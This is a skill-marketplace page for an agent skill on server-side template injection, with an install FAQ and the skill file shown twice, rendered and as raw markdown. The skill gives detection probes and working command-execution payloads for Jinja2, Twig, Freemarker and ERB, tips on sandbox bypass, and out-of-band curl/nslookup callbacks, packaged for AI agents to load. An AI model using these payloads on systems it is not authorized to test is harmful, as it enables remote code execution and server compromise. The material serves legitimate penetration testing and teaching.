How do I install the Web Ssti skill?

Run npx skillmds@latest add noorqureshi/web-ssti in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Ssti safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Ssti?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Ssti free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Ssti?

NoorQureshi (@noorqureshi) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Ssti by noorqureshi — Agent Skill

Name: Web Ssti
Author: NoorQureshi

Web Ssti

Server-Side Template Injection → RCE. Load when user input is rendered by a template engine: profile names in emails, custom reports, "hello {{name}}", error pages echoing math, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars. Signals: {{7*7}} returns 49, ${...} or #{...} evaluated, framework stack traces mentioning a templating engine.

NoorQureshi 43e9e72 2 files · 5.7 KB Updated Sep 17, 2026

File contents

Server-Side Template Injection (SSTI)

When it applies

Input flows into a server-side template that is evaluated, not just interpolated as text. Common in email/notification templates, custom dashboards, and any "use variables in your message" feature.

Why it works

Template engines execute expressions. If attacker input becomes part of the template source (rather than a bound variable), the engine evaluates it — and most engines expose object introspection that reaches OS command execution.

Method

Payloads & full variation set: cheatsheet.md next to this file — work the set, not the first line.

Detect with a polyglot and engine-specific probes: ${7*7} {{7*7}} <%= 7*7 %> #{7*7} {7*7} — a rendered 49 (not literal text) confirms.
Identify the engine by which syntax evaluated and by error messages, then branch:
- Jinja2 (Python): {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
- Twig (PHP): {{ ['id']|filter('system') }} or _self.env.registerUndefinedFilterCallback.
- Freemarker (Java): <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}.
- ERB (Ruby): <%= \id` %>`.
Automate/confirm with tplmap -u <url> once you know it's injectable, but understand the payload — WAFs and sandboxes need manual gadget-chaining.

Gotchas

{{7*7}} → 49 is SSTI; {{7*'7'}} behaviour distinguishes Jinja (7777777) from Twig (49).
Sandboxed engines (Twig sandbox, Jinja SandboxedEnvironment) block direct globals — hunt for a bypass gadget.
XSS ≠ SSTI: <svg> rendering is client-side; only server-side evaluation of expressions is SSTI.

Verify success

Command output (uid=... from id) reflected in the response, or an OOB callback from curl/nslookup run through the payload.

References

PortSwigger SSTI labs; James Kettle "Server-Side Template Injection".

---name: web-sstidescription: Server-Side Template Injection → RCE. Load when user input is rendered by a template engine: profile names in emails, custom reports, "hello {{name}}", error pages echoing math, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars. Signals: {{7*7}} returns 49, ${...} or #{...} evaluated, framework stack traces mentioning a templating engine.---# Server-Side Template Injection (SSTI)## When it appliesInput flows into a server-side template that is *evaluated*, not just interpolated as text.Common in email/notification templates, custom dashboards, and any "use variables in yourmessage" feature.## Why it worksTemplate engines execute expressions. If attacker input becomes part of the template source(rather than a bound variable), the engine evaluates it — and most engines expose objectintrospection that reaches OS command execution.## Method> **Payloads & full variation set:** [`cheatsheet.md`](cheatsheet.md) next to this file — work the set, not the first line.1. **Detect** with a polyglot and engine-specific probes: `${7*7}` `{{7*7}}` `<%= 7*7 %>` `#{7*7}` `{7*7}` — a rendered `49` (not literal text) confirms.2. **Identify the engine** by which syntax evaluated and by error messages, then branch: - **Jinja2 (Python)**: `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}` - **Twig (PHP)**: `{{ ['id']|filter('system') }}` or `_self.env.registerUndefinedFilterCallback`. - **Freemarker (Java)**: `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}`. - **ERB (Ruby)**: `<%= \`id\` %>`.3. **Automate/confirm** with `tplmap -u <url>` once you know it's injectable, but understand the payload — WAFs and sandboxes need manual gadget-chaining.## Gotchas- `{{7*7}}` → `49` is SSTI; `{{7*'7'}}` behaviour distinguishes Jinja (`7777777`) from Twig (`49`).- Sandboxed engines (Twig sandbox, Jinja SandboxedEnvironment) block direct globals — hunt for a bypass gadget.- XSS ≠ SSTI: `<svg>` rendering is client-side; only server-side *evaluation* of expressions is SSTI.## Verify successCommand output (`uid=...` from `id`) reflected in the response, or an OOB callback from`curl`/`nslookup` run through the payload.## ReferencesPortSwigger SSTI labs; James Kettle "Server-Side Template Injection".

Frequently asked questions